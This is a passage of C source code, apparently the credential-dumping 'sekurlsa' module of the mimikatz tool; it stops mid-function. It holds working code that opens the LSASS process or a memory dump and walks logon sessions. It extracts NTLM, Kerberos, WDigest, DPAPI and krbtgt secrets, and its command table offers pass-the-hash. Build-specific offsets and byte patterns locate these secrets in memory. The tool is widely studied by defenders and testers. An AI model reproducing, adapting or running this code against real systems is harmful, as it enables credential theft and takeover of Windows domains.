text: /*	Benjamin DELPY `gentilkiwi`
  	https://blog.gentilkiwi.com
  	benjamin@gentilkiwi.com
  	Licence : https://creativecommons.org/licenses/by/4.0/
  */
  #include "kuhl_m_sekurlsa.h"
  
  const KUHL_M_C kuhl_m_c_sekurlsa[] = {
  	{kuhl_m_sekurlsa_msv,				L"msv",				L"Lists LM & NTLM credentials"},
  	{kuhl_m_sekurlsa_wdigest,			L"wdigest",			L"Lists WDigest credentials"},
  	{kuhl_m_sekurlsa_kerberos,			L"kerberos",		L"Lists Kerberos credentials"},
  	{kuhl_m_sekurlsa_tspkg,				L"tspkg",			L"Lists TsPkg credentials"},
  #if !defined(_M_ARM64)
  	{kuhl_m_sekurlsa_livessp,			L"livessp",			L"Lists LiveSSP credentials"},
  #endif
  	{kuhl_m_sekurlsa_cloudap,			L"cloudap",			L"Lists CloudAp credentials"},
  	{kuhl_m_sekurlsa_ssp,				L"ssp",				L"Lists SSP credentials"},
  	{kuhl_m_sekurlsa_all,				L"logonPasswords",	L"Lists all available providers credentials"},
  
  	{kuhl_m_sekurlsa_process,			L"process",			L"Switch (or reinit) to LSASS process  context"},
  	{kuhl_m_sekurlsa_minidump,			L"minidump",		L"Switch (or reinit) to LSASS minidump context"},
  	{kuhl_m_sekurlsa_sk_bootKey,		L"bootkey",			L"Set the SecureKernel Boot Key to attempt to decrypt LSA Isolated credentials"},
  	{kuhl_m_sekurlsa_pth,				L"pth",				L"Pass-the-hash"},
  #if !defined(_M_ARM64)
  	{kuhl_m_sekurlsa_krbtgt,			L"krbtgt",			L"krbtgt!"},
  #endif
  	{kuhl_m_sekurlsa_dpapi_system,		L"dpapisystem",		L"DPAPI_SYSTEM secret"},
  #if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64
  	{kuhl_m_sekurlsa_trust,				L"trust",			L"Antisocial"},
  	{kuhl_m_sekurlsa_bkeys,				L"backupkeys",		L"Preferred Backup Master keys"},
  #endif
  	{kuhl_m_sekurlsa_kerberos_tickets,	L"tickets",			L"List Kerberos tickets"},
  	{kuhl_m_sekurlsa_kerberos_keys,		L"ekeys",			L"List Kerberos Encryption Keys"},
  	{kuhl_m_sekurlsa_dpapi,				L"dpapi",			L"List Cached MasterKeys"},
  	{kuhl_m_sekurlsa_credman,			L"credman",			L"List Credentials Manager"},
  };
  
  const KUHL_M kuhl_m_sekurlsa = {
  	L"sekurlsa",	L"SekurLSA module",	L"Some commands to enumerate credentials...",
  	ARRAYSIZE(kuhl_m_c_sekurlsa), kuhl_m_c_sekurlsa, kuhl_m_sekurlsa_init, kuhl_m_sekurlsa_clean
  };
  
  KUHL_M_SEKURLSA_PACKAGE kuhl_m_sekurlsa_kdcsvc_package = {L"kdc", NULL, FALSE, L"kdcsvc.dll", {{{NULL, NULL}, 0, 0, NULL}, FALSE, FALSE}};
  const PKUHL_M_SEKURLSA_PACKAGE lsassPackages[] = {
  	&kuhl_m_sekurlsa_msv_package,
  	&kuhl_m_sekurlsa_tspkg_package,
  	&kuhl_m_sekurlsa_wdigest_package,
  #if !defined(_M_ARM64)
  	&kuhl_m_sekurlsa_livessp_package,
  #endif
  	&kuhl_m_sekurlsa_kerberos_package,
  	&kuhl_m_sekurlsa_ssp_package,
  	&kuhl_m_sekurlsa_dpapi_svc_package,
  	&kuhl_m_sekurlsa_credman_package,
  	&kuhl_m_sekurlsa_kdcsvc_package,
  	&kuhl_m_sekurlsa_cloudap_package,
  };
  
  const KUHL_M_SEKURLSA_ENUM_HELPER lsassEnumHelpers[] = {
  	{sizeof(KIWI_MSV1_0_LIST_51), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, Session),	FIELD_OFFSET(KIWI_MSV1_0_LIST_51, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, pSid), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, CredentialManager), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, LogonTime), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, LogonServer)},
  	{sizeof(KIWI_MSV1_0_LIST_52), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, Session),	FIELD_OFFSET(KIWI_MSV1_0_LIST_52, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, pSid), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, CredentialManager), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, LogonTime), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, LogonServer)},
  	{sizeof(KIWI_MSV1_0_LIST_60), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, Session),	FIELD_OFFSET(KIWI_MSV1_0_LIST_60, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, pSid), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, CredentialManager), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, LogonTime), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, LogonServer)},
  	{sizeof(KIWI_MSV1_0_LIST_61), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, Session),	FIELD_OFFSET(KIWI_MSV1_0_LIST_61, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, pSid), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, CredentialManager), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, LogonTime), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, LogonServer)},
  	{sizeof(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, Session),	FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, pSid), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, CredentialManager), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, LogonTime), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, LogonServer)},
  	{sizeof(KIWI_MSV1_0_LIST_62), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, Session),	FIELD_OFFSET(KIWI_MSV1_0_LIST_62, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, pSid), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, CredentialManager), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, LogonTime), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, LogonServer)},
  	{sizeof(KIWI_MSV1_0_LIST_63), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, Session),	FIELD_OFFSET(KIWI_MSV1_0_LIST_63, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, pSid), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, CredentialManager), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, LogonTime), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, LogonServer)},
  };
  
  const KUHL_M_SEKURLSA_LOCAL_HELPER lsassLocalHelpers[] = {
  #if !defined(_M_ARM64)
  	{kuhl_m_sekurlsa_nt5_init,	kuhl_m_sekurlsa_nt5_clean,	kuhl_m_sekurlsa_nt5_acquireKeys,	&kuhl_m_sekurlsa_nt5_pLsaProtectMemory,	&kuhl_m_sekurlsa_nt5_pLsaUnprotectMemory},
  #endif
  	{kuhl_m_sekurlsa_nt6_init,	kuhl_m_sekurlsa_nt6_clean,	kuhl_m_sekurlsa_nt6_acquireKeys,	&kuhl_m_sekurlsa_nt6_pLsaProtectMemory,	&kuhl_m_sekurlsa_nt6_pLsaUnprotectMemory},
  };
  
  const KUHL_M_SEKURLSA_LOCAL_HELPER * lsassLocalHelper = NULL;
  KUHL_M_SEKURLSA_CONTEXT cLsass = {NULL, {0, 0, 0}};
  wchar_t * pMinidumpName = NULL;
  
  VOID kuhl_m_sekurlsa_reset()
  {
  	HANDLE toClose = NULL;
  	ULONG i;
  	
  	if(pMinidumpName)
  	{
  		free(pMinidumpName);
  		pMinidumpName = NULL;
  	}
  
  	if(cLsass.hLsassMem)
  	{
  		switch(cLsass.hLsassMem->type)
  		{
  		case KULL_M_MEMORY_TYPE_PROCESS:
  			toClose = cLsass.hLsassMem->pHandleProcess->hProcess;
  			break;
  		case KULL_M_MEMORY_TYPE_PROCESS_DMP:
  			toClose = cLsass.hLsassMem->pHandleProcessDmp->hMinidump;
  			break;
  		default:
  			;
  		}
  		cLsass.hLsassMem = kull_m_memory_close(cLsass.hLsassMem);
  		CloseHandle(toClose);
  		kuhl_m_sekurlsa_clean();
  	}
  	for(i = 0; i < ARRAYSIZE(lsassPackages); i++)
  		RtlZeroMemory(&lsassPackages[i]->Module, sizeof(KUHL_M_SEKURLSA_LIB));
  }
  
  NTSTATUS kuhl_m_sekurlsa_process(int argc, wchar_t * argv[])
  {
  	kprintf(L"Switch to PROCESS\n");
  	kuhl_m_sekurlsa_reset();
  	return STATUS_SUCCESS;
  }
  
  NTSTATUS kuhl_m_sekurlsa_minidump(int argc, wchar_t * argv[])
  {
  	kprintf(L"Switch to MINIDUMP : ");
  	if(argc != 1)
  		PRINT_ERROR(L"<minidumpfile.dmp> argument is missing\n");
  	else
  	{
  		kuhl_m_sekurlsa_reset();
  		pMinidumpName = _wcsdup(argv[0]);
  		kprintf(L"\'%s\'\n", pMinidumpName);
  	}
  	return STATUS_SUCCESS;
  }
  
  NTSTATUS kuhl_m_sekurlsa_init()
  {
  	lsassLocalHelper = NULL;
  	return STATUS_SUCCESS;
  }
  
  NTSTATUS kuhl_m_sekurlsa_clean()
  {
  	NTSTATUS status = STATUS_SUCCESS;
  	if(lsassLocalHelper)
  	{
  		status = lsassLocalHelper->cleanLocalLib();
  		lsassLocalHelper = NULL;
  	}
  	kuhl_m_sekurlsa_sk_candidatekeys_delete();
  	return status;
  }
  
  NTSTATUS kuhl_m_sekurlsa_all(int argc, wchar_t * argv[])
  {
  	return kuhl_m_sekurlsa_getLogonData(lsassPackages, ARRAYSIZE(lsassPackages));
  }
  
  NTSTATUS kuhl_m_sekurlsa_acquireLSA()
  {
  	NTSTATUS status = STATUS_SUCCESS;
  	KULL_M_MEMORY_TYPE Type;
  	HANDLE hData = NULL;
  	DWORD pid, cbSk;
  	PMINIDUMP_SYSTEM_INFO pInfos;
  	DWORD processRights = PROCESS_VM_READ | ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? PROCESS_QUERY_INFORMATION : PROCESS_QUERY_LIMITED_INFORMATION);
  	BOOL isError = FALSE;
  	PBYTE pSk;
  
  	if(!cLsass.hLsassMem)
  	{
  		status = STATUS_NOT_FOUND;
  		if(pMinidumpName)
  		{
  			Type = KULL_M_MEMORY_TYPE_PROCESS_DMP;
  			kprintf(L"Opening : \'%s\' file for minidump...\n", pMinidumpName);
  			hData = CreateFile(pMinidumpName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
  		}
  		else
  		{
  			Type = KULL_M_MEMORY_TYPE_PROCESS;
  			if(kull_m_process_getProcessIdForName(L"lsass.exe", &pid))
  				hData = OpenProcess(processRights, FALSE, pid);
  			else PRINT_ERROR(L"LSASS process not found (?)\n");
  		}
  
  		if(hData && hData != INVALID_HANDLE_VALUE)
  		{
  			if(kull_m_memory_open(Type, hData, &cLsass.hLsassMem))
  			{
  				if(Type == KULL_M_MEMORY_TYPE_PROCESS_DMP)
  				{
  					if(pInfos = (PMINIDUMP_SYSTEM_INFO) kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, SystemInfoStream, NULL))
  					{
  						cLsass.osContext.MajorVersion = pInfos->MajorVersion;
  						cLsass.osContext.MinorVersion = pInfos->MinorVersion;
  						cLsass.osContext.BuildNumber  = pInfos->BuildNumber;
  					#if defined(_M_X64) || defined(_M_ARM64)
  						if(isError = (pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_AMD64))
  							PRINT_ERROR(L"Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_AMD64 (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_AMD64);
  					#elif defined(_M_IX86)
  						if(isError = (pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_INTEL))
  							PRINT_ERROR(L"Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_INTEL (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_INTEL);
  					#endif
  					}
  					else
  					{
  						isError = TRUE;
  						PRINT_ERROR(L"Minidump without SystemInfoStream (?)\n");
  					}
  
  					if (pSk = (PBYTE)kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, (MINIDUMP_STREAM_TYPE)0x1337, &cbSk))
  					{
  						kprintf(L"  > SecureKernel stream found in minidump (%u bytes)\n", cbSk);
  						pid = kuhl_m_sekurlsa_sk_search(pSk, cbSk, TRUE);
  						kprintf(L"    %u candidate keys found\n", pid);
  					}
  				}
  				else
  				{
  				#if defined(_M_IX86)
  					if(IsWow64Process(GetCurrentProcess(), &isError) && isError)
  						PRINT_ERROR(MIMIKATZ L" " MIMIKATZ_ARCH L" cannot access x64 process\n");
  					else
  				#endif
  					{						
  						cLsass.osContext.MajorVersion = MIMIKATZ_NT_MAJOR_VERSION;
  						cLsass.osContext.MinorVersion = MIMIKATZ_NT_MINOR_VERSION;
  						cLsass.osContext.BuildNumber  = MIMIKATZ_NT_BUILD_NUMBER;
  					}
  				}
  
  				if(!isError)
  				{
  					lsassLocalHelper = 
  					#if defined(_M_ARM64)
  						&lsassLocalHelpers[0]
  					#else
  						(cLsass.osContext.MajorVersion < 6) ? &lsassLocalHelpers[0] : &lsassLocalHelpers[1]
  					#endif
  					;
  
  					if(NT_SUCCESS(lsassLocalHelper->initLocalLib()))
  					{
  					#if !defined(_M_ARM64)
  						kuhl_m_sekurlsa_livessp_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_8);
  					#endif
  						kuhl_m_sekurlsa_tspkg_package.isValid = (cLsass.osContext.MajorVersion >= 6) || (cLsass.osContext.MinorVersion < 2);
  						kuhl_m_sekurlsa_cloudap_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_BUILD_10_1909);
  						if(NT_SUCCESS(kull_m_process_getVeryBasicModuleInformations(cLsass.hLsassMem, kuhl_m_sekurlsa_findlibs, NULL)) && kuhl_m_sekurlsa_msv_package.Module.isPresent)
  						{
  							kuhl_m_sekurlsa_dpapi_lsa_package.Module = kuhl_m_sekurlsa_msv_package.Module;
  							if(kuhl_m_sekurlsa_utils_search(&cLsass, &kuhl_m_sekurlsa_msv_package.Module))
  							{
  								status = lsassLocalHelper->AcquireKeys(&cLsass, &lsassPackages[0]->Module.Informations);
  								if(!NT_SUCCESS(status))
  									PRINT_ERROR(L"Key import\n");
  							}
  							else PRINT_ERROR(L"Logon list\n");
  						}
  						else PRINT_ERROR(L"Modules informations\n");
  					}
  					else PRINT_ERROR(L"Local LSA library failed\n");
  				}
  			}
  			else PRINT_ERROR(L"Memory opening\n");
  
  			if(!NT_SUCCESS(status))
  				CloseHandle(hData);
  		}
  		else PRINT_ERROR_AUTO(L"Handle on memory");
  
  		if(!NT_SUCCESS(status))
  			cLsass.hLsassMem = kull_m_memory_close(cLsass.hLsassMem);
  	}
  	return status;
  }
  
  BOOL CALLBACK kuhl_m_sekurlsa_findlibs(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation, PVOID pvArg)
  {
  	ULONG i;
  	for(i = 0; i < ARRAYSIZE(lsassPackages); i++)
  	{
  		if(_wcsicmp(lsassPackages[i]->ModuleName, pModuleInformation->NameDontUseOutsideCallback->Buffer) == 0)
  		{
  			lsassPackages[i]->Module.isPresent = TRUE;
  			lsassPackages[i]->Module.Informations = *pModuleInformation;
  		}
  	}
  	return TRUE;
  }
  
  NTSTATUS kuhl_m_sekurlsa_enum(PKUHL_M_SEKURLSA_ENUM callback, LPVOID pOptionalData)
  {
  	KIWI_BASIC_SECURITY_LOGON_SESSION_DATA sessionData;
  	ULONG nbListes = 1, i;
  	PVOID pStruct;
  	KULL_M_MEMORY_ADDRESS securityStruct, data = {&nbListes, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
  	BOOL retCallback = TRUE;
  	const KUHL_M_SEKURLSA_ENUM_HELPER * helper;
  	NTSTATUS status = kuhl_m_sekurlsa_acquireLSA();
  
  	if(NT_SUCCESS(status))
  	{
  		sessionData.cLsass = &cLsass;
  		sessionData.lsassLocalHelper = lsassLocalHelper;
  
  		if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_2K3)
  			helper = &lsassEnumHelpers[0];
  		else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_VISTA)
  			helper = &lsassEnumHelpers[1];
  		else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_7)
  			helper = &lsassEnumHelpers[2];
  		else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_8)
  			helper = &lsassEnumHelpers[3];
  		else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_BLUE)
  			helper = &lsassEnumHelpers[5];
  		else
  			helper = &lsassEnumHelpers[6];
  
  		if((cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_7) && (cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_BLUE) && (kuhl_m_sekurlsa_msv_package.Module.Informations.TimeDateStamp > 0x53480000))
  			helper++; // yeah, really, I do that =)
  
  		securityStruct.hMemory = cLsass.hLsassMem;
  		if(securityStruct.address = LogonSessionListCount)
  			kull_m_memory_copy(&data, &securityStruct, sizeof(ULONG));
  
  		for(i = 0; i < nbListes; i++)
  		{
  			securityStruct.address = &LogonSessionList[i];
  			data.address = &pStruct;
  			data.hMemory = &KULL_M_MEMORY_GLOBAL_OWN_HANDLE;
  			if(aBuffer.address = LocalAlloc(LPTR, helper->tailleStruct))
  			{
  				if(kull_m_memory_copy(&data, &securityStruct, sizeof(PVOID)))
  				{
  					data.address = pStruct;
  					data.hMemory = securityStruct.hMemory;
  
  					while((data.address != securityStruct.address) && retCallback)
  					{
  						if(kull_m_memory_copy(&aBuffer, &data, helper->tailleStruct))
  						{
  							sessionData.LogonId		= (PLUID)			((PBYTE) aBuffer.address + helper->offsetToLuid);
  							sessionData.LogonType	= *((PULONG)		((PBYTE) aBuffer.address + helper->offsetToLogonType));
  							sessionData.Session		= *((PULONG)		((PBYTE) aBuffer.address + helper->offsetToSession));
  							sessionData.UserName	= (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToUsername);
  							sessionData.LogonDomain	= (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToDomain);
  							sessionData.pCredentials= *(PVOID *)		((PBYTE) aBuffer.address + helper->offsetToCredentials);
  							sessionData.pSid		= *(PSID *)			((PBYTE) aBuffer.address + helper->offsetToPSid);
  							sessionData.pCredentialManager = *(PVOID *) ((PBYTE) aBuffer.address + helper->offsetToCredentialManager);
  							sessionData.LogonTime	= *((PFILETIME)		((PBYTE) aBuffer.address + helper->offsetToLogonTime));
  							sessionData.LogonServer	= (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToLogonServer);
  
  							kull_m_process_getUnicodeString(sessionData.UserName, cLsass.hLsassMem);
  							kull_m_process_getUnicodeString(sessionData.LogonDomain, cLsass.hLsassMem);
  							kull_m_process_getUnicodeString(sessionData.LogonServer, cLsass.hLsassMem);
  							kull_m_process_getSid(&sessionData.pSid, cLsass.hLsassMem);
  
  							retCallback = callback(&sessionData, pOptionalData);
  
  							if(sessionData.UserName->Buffer)
  								LocalFree(sessionData.UserName->Buffer);
  							if(sessionData.LogonDomain->Buffer)
  								LocalFree(sessionData.LogonDomain->Buffer);
  							if(sessionData.LogonServer->Buffer)
  								LocalFree(sessionData.LogonServer->Buffer);
  							if(sessionData.pSid)
  								LocalFree(sessionData.pSid);
  
  							data.address = ((PLIST_ENTRY) (aBuffer.address))->Flink;
  						}
  						else break;
  					}
  				}
  				LocalFree(aBuffer.address);
  			}
  		}
  	}
  	return status;
  }
  
  BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_logondata(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData)
  {
  	PKUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA pLsassData = (PKUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA) pOptionalData;
  	ULONG i;
  	//PDWORD sub = NULL;
  	if((pData->LogonType != Network)/* && pData->LogonType != UndefinedLogonType*/)
  	{
  		//if(IsValidSid(pData->pSid) && GetSidSubAuthorityCount(pData->pSid))
  		//	sub = GetSidSubAuthority(pData->pSid, 0);
  
  		//if(!sub || (*sub != 90 && *sub != 96))
  		//{
  			kuhl_m_sekurlsa_printinfos_logonData(pData);
  			for(i = 0; i < pLsassData->nbPackages; i++)
  			{
  				if(pLsassData->lsassPackages[i]->Module.isPresent && lsassPackages[i]->isValid)
  				{
  					kprintf(L"\t%s :\t", pLsassData->lsassPackages[i]->Name);
  					pLsassData->lsassPackages[i]->CredsForLUIDFunc(pData);
  					kprintf(L"\n");
  				}
  			}
  		//}
  	}
  	return TRUE;
  }
  
  const wchar_t * KUHL_M_SEKURLSA_LOGON_TYPE[] = {
  	L"UndefinedLogonType",
  	L"Unknown !",
  	L"Interactive",
  	L"Network",
  	L"Batch",
  	L"Service",
  	L"Proxy",
  	L"Unlock",
  	L"NetworkCleartext",
  	L"NewCredentials",
  	L"RemoteInteractive",
  	L"CachedInteractive",
  	L"CachedRemoteInteractive",
  	L"CachedUnlock",
  };
  void kuhl_m_sekurlsa_printinfos_logonData(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData)
  {
  	kprintf(L"\nAuthentication Id : %u ; %u (%08x:%08x)\n"
  		L"Session           : %s from %u\n"
  		L"User Name         : %wZ\n"
  		L"Domain            : %wZ\n"
  		L"Logon Server      : %wZ\n"
  		, pData->LogonId->HighPart, pData->LogonId->LowPart, pData->LogonId->HighPart, pData->LogonId->LowPart, KUHL_M_SEKURLSA_LOGON_TYPE[pData->LogonType], pData->Session, pData->UserName, pData->LogonDomain, pData->LogonServer);
  
  	kprintf(L"Logon Time        : ");
  	kull_m_string_displayLocalFileTime(&pData->LogonTime);
  	kprintf(L"\n");
  
  	kprintf(L"SID               : ");
  	if(pData->pSid)
  		kull_m_string_displaySID(pData->pSid);
  	kprintf(L"\n");
  }
  
  NTSTATUS kuhl_m_sekurlsa_getLogonData(const PKUHL_M_SEKURLSA_PACKAGE * lsassPackages, ULONG nbPackages)
  {
  	KUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA OptionalData = {lsassPackages, nbPackages};
  	return kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_logondata, &OptionalData);
  }
  
  #if !defined(_M_ARM64) // No DC on ARM64, for now?
  #if defined(_M_X64)
  BYTE PTRN_W2K3_SecData[]	= {0x48, 0x8d, 0x6e, 0x30, 0x48, 0x8d, 0x0d};
  BYTE PTRN_W2K8_SecData[]	= {0x48, 0x8d, 0x94, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d};
  BYTE PTRN_W2K12_SecData[]	= {0x4c, 0x8d, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x15};
  BYTE PTRN_W2K12R2_SecData[]	= {0x0f, 0xb6, 0x4c, 0x24, 0x30, 0x85, 0xc0, 0x0f, 0x45, 0xcf, 0x8a, 0xc1};
  BYTE PTRN_W2K19_SecData[]	= {0x44, 0x8b, 0x45, 0x80, 0x85, 0xc0, 0x0f, 0x84};
  KULL_M_PATCH_GENERIC SecDataReferences[] = {
  	{KULL_M_WIN_BUILD_2K3,		{sizeof(PTRN_W2K3_SecData),		PTRN_W2K3_SecData},		{0, NULL}, {  7, 37}},
  	{KULL_M_WIN_BUILD_VISTA,	{sizeof(PTRN_W2K8_SecData),		PTRN_W2K8_SecData},		{0, NULL}, { 11, 39}},
  	{KULL_M_WIN_BUILD_8,		{sizeof(PTRN_W2K12_SecData),	PTRN_W2K12_SecData},	{0, NULL}, { 10, 39}},
  	{KULL_M_WIN_BUILD_BLUE,		{sizeof(PTRN_W2K12R2_SecData),	PTRN_W2K12R2_SecData},	{0, NULL}, {-12, 39}},
  	{KULL_M_WIN_BUILD_10_1507,	{sizeof(PTRN_W2K12R2_SecData),	PTRN_W2K12R2_SecData},	{0, NULL}, { -9, 39}},
  	{KULL_M_WIN_BUILD_10_1809,	{sizeof(PTRN_W2K19_SecData),	PTRN_W2K19_SecData},	{0, NULL}, { -9, 39}},
  };
  #elif defined(_M_IX86)
  BYTE PTRN_W2K3_SecData[]	= {0x53, 0x56, 0x8d, 0x45, 0x98, 0x50, 0xb9};
  BYTE PTRN_W2K8_SecData[]	= {0x8b, 0x45, 0x14, 0x83, 0xc0, 0x18, 0x50, 0xb9};
  KULL_M_PATCH_GENERIC SecDataReferences[] = {
  	{KULL_M_WIN_BUILD_2K3,		{sizeof(PTRN_W2K3_SecData),		PTRN_W2K3_SecData},		{0, NULL}, {  7, 45}},
  	{KULL_M_WIN_BUILD_VISTA,	{sizeof(PTRN_W2K8_SecData),		PTRN_W2K8_SecData},		{0, NULL}, {  8, 47}},
  };
  #endif
  NTSTATUS kuhl_m_sekurlsa_krbtgt(int argc, wchar_t * argv[])
  {
  	NTSTATUS status = kuhl_m_sekurlsa_acquireLSA();
  	LONG l = 0;
  	DUAL_KRBTGT dualKrbtgt = {NULL, NULL};
  	KULL_M_MEMORY_ADDRESS aLsass = {NULL, cLsass.hLsassMem}, aLocal = {&dualKrbtgt, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
  
  	if(NT_SUCCESS(status))
  	{
  		if(kuhl_m_sekurlsa_kdcsvc_package.Module.isPresent)
  		{
  			if(kuhl_m_sekurlsa_utils_search_generic(&cLsass, &kuhl_m_sekurlsa_kdcsvc_package.Module, SecDataReferences, ARRAYSIZE(SecDataReferences), &aLsass.address, NULL, NULL, &l))
  			{
  				aLsass.address = (PBYTE) aLsass.address + sizeof(PVOID) * l;
  				if(kull_m_memory_copy(&aLocal, &aLsass, sizeof(DUAL_KRBTGT)))
  				{
  					kuhl_m_sekurlsa_krbtgt_keys(dualKrbtgt.krbtgt_current, L"Current");
  					kuhl_m_sekurlsa_krbtgt_keys(dualKrbtgt.krbtgt_previous, L"Previous");
  				}
  			}
  			else PRINT_ERROR(L"Unable to find KDC pattern in LSASS memory\n");
  		}
  		else PRINT_ERROR(L"KDC service not in LSASS memory\n");
  	}
  	return status;
  }
  
  void kuhl_m_sekurlsa_krbtgt_keys(PVOID addr, PCWSTR prefix)
  {
  	DWORD sizeForCreds, i;
  	KIWI_KRBTGT_CREDENTIALS_64 tmpCred64, *creds64;
  	KIWI_KRBTGT_CREDENTIALS_6 tmpCred6, *creds6;
  	KIWI_KRBTGT_CREDENTIALS_5 tmpCred5, *creds5;
  	KULL_M_MEMORY_ADDRESS aLsass = {addr, cLsass.hLsassMem}, aLocal = {&tmpCred6, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
  
  	if(addr)
  	{
  		kprintf(L"\n%s krbtgt: ", prefix);
  		if(cLsass.osContext.MajorVersion < 6) // TODO: a field offset table
  		{
